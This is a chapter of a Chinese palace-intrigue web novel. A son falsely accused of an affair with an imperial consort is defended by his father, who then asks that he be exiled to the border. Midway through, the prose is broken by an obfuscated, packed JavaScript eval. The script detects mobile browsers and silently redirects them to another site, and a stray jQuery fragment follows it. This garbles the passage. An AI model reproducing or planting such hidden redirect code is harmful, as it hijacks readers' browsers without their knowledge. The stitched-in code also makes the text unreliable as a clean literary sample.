皇帝大怒,虽说他心中并不相信二郎与苏婕妤会有什么苟且之事。
可当他看到自己的女人竟因为别的男人而满脸绯红时,心中还是控制不住的升起怒火。
怡宁见状,立刻跪在二郎身边,大声为夫君辩驳道:
“皇伯父,我家夫君绝不是那种厚颜无耻之人。明信的品行您是知道的。
苏婕妤的人品您也是了解的。此事真正可恨的不是他们,而是藏在幕后设计陷害他们的人。”
皇帝知道怡宁说的没错,当下也稳了稳心神,控制住了情绪。
“你们二人仔细说说,到底是怎么回事?”
见皇帝和缓了语气,二郎立刻跪直身子,将来龙去脉一五一十地说了一遍。
而另一边,苏婕妤也梨花带雨,泪眼婆娑地将自己如何被陷害的事情尽数说了。
可当皇帝让她找出陷害她的宫女时,苏婕妤却是怎么也找不到。
不仅是苏婕妤这边,二郎那边也始终没能找到给他消息的小太监。
这两个人就好像凭空蒸发了一般。反倒是怡宁偷偷送进来的武婢被揪了出来。
“怡宁,这武婢是怎么回事?”皇帝脸色不善地看着怡宁。
偷偷往宫里送人,这可是大忌。
怡宁愣了两秒,也不能说是为了保护修齐,便只能随便扯了个由头。
说是李昊总在宫里惹事,长与四皇子等人发生龃龉,她这个做姑姑的不放心,故而特意找个人来看着那臭小子。
这理由虽然也说得过去,但明眼人一听就知道是胡诌的。
甚至有人开始猜测,其实就是二郎与苏婕妤有事,怡宁郡主发现了,故而派人来偷偷监视。
二郎跪在地上,心底浮起一丝不好的预感。这一次,晋王似乎算计到了所有。
宋家的一举一动似乎都在晋王的掌控之中。
到底是为什么呢?
二郎困惑之际,忽有一内侍弓着身子从外面走来,那内侍走到皇帝面前,轻声说了一句什么。
皇帝眉头微微挑起,随即起身,命人把二郎带走,至于苏婕妤,则暂时幽禁长春宫。
二郎跟着皇帝一路到了御书房,来到门外时,只见父亲宋远廷正笔直地站在御书房门前。
“罪臣宋远廷向陛下请罪!”宋远廷一见皇帝过来,立刻跪地叩首。
见父亲如此,二郎心里说不出的酸涩。
皇帝倒是没把怒火牵连到宋远廷身上,当即摆摆手,沉声道:
“太傅快起来,此事与你何干?”
宋远廷未动,依旧跪着:“是臣没有教导好儿子。
让这糊涂小子中了旁人的圈套。身为陛下信任的臣子,蠢笨就是罪!”
宋远廷避开二郎与苏婕妤的事,而是直接把二郎的罪过归咎于笨,如此一来便跳出了自证清白的陷阱。
不过皇帝却没打算轻易放过,他微微挑眉,问道:“看来太傅是知道揽月轩的事情了?
只是太傅有什么证据能证明宋明信就是被冤枉的呢?
太傅,你得知道,即便朕是皇帝,即便朕相信明信,但若是没有证据,恐怕难堵悠悠众口啊。”
宋远廷迅速地看了二郎一眼,只见儿子身上还残留着斑驳的血迹。
宋远廷医者出身,自然一眼就看出这是二郎为了保持清醒而做下的自残行为。
“陛下,您可以看看明信,他身上有大大小小多出刺伤。
从伤口来看,这都是明信自己做的。”
皇帝的目光扫向二郎,眼底的怒意也悄然淡了几分。
“你自伤是为了保持清醒?”皇帝开口问道。
二郎跪地,拱手答道:“回陛下,是!
揽月轩内被人偷偷放了禁香,臣不敢有半点越矩的行为,故而只能出此下策。”
皇帝微不可查的点点头,对二郎的忠诚倒是有了几分肯定。
“但你和苏婕妤说的小太监和宫女的确没有找到。且按着你们的叙述,宫内压根就没有这样的人。
这一点又该如何解释?你不常在宫内走动,不认得宫中内侍和婢女倒也有心可原。
但苏婕妤常年在宫里,难道也认不出宫人?”
宋远廷闻言心中一惊,看样子这个老皇帝是开始对自己不自信了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621908|179283||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
他竟然开始臆想是苏婕妤自己设计的吗?
难不成是老皇帝精力不足,就开始怀疑后宫嫔妃给自己戴绿帽子?
宋远廷算过了很多种可能性,唯独这一点是他实实在在没想到的。
宋远廷生怕二郎一句答错,忙抢白道:
“陛下可知这世上有一种叫做易容术的东西?”
“易容术?”皇帝诧异。
宋远廷点点头:“嗯,是一种通过特殊手段改变样貌的方式。”
“所以,太傅的意思是,有人利用易容术骗了他们?”
“正是。苏婕妤虽然常年待在宫中,但陛下也知道,这么多年娘娘的心思都在七殿下身上。
但凡是有关七殿下的事情,都能让娘娘乱了方寸。”
皇帝微不可查的点点头,这话宋远廷倒是说得没错。
片刻后,皇帝微微抬了抬手,对宋远廷父子二人说道:
“起身吧。其实朕从未怀疑过明信和苏婕妤。只是宫内那么多双眼睛看着呢。”
皇帝话音刚落,宋远廷便再次说道:“陛下,臣请陛下将明信调离京都。”
此话一出,不光是皇帝,就连二郎都是一惊。
调离京都,离开宋家?
二郎这边还没反应过来,宋远廷那边又继续补充道:
“明信与苏婕妤虽然清清白白,但他私闯后宫本就是罪。是罪就要罚。
就请陛下下旨,将他发配边境,非诏不得入京吧。”
“太傅,你这……是不是太苛刻了些。朕都没想过要罚明信。”
宋远廷摇头,眼中满是坚定:“宋家是得了陛下青眼才有了如今的地位。
宋家的一切都是陛下给的,那为了陛下,宋家的一切便也都能舍弃。
明信就是惹了祸,唯有如此才能平息流言。臣相信即便是祖父在世也会认同臣的看法。”
宋远廷搬出天枢帝师直接就把此事盖棺定论了。
果不其然,皇帝思忖片刻,而后说道:
“也罢,那就让明信先去边境历练一下吧。只是说好了,是历练不是惩罚。”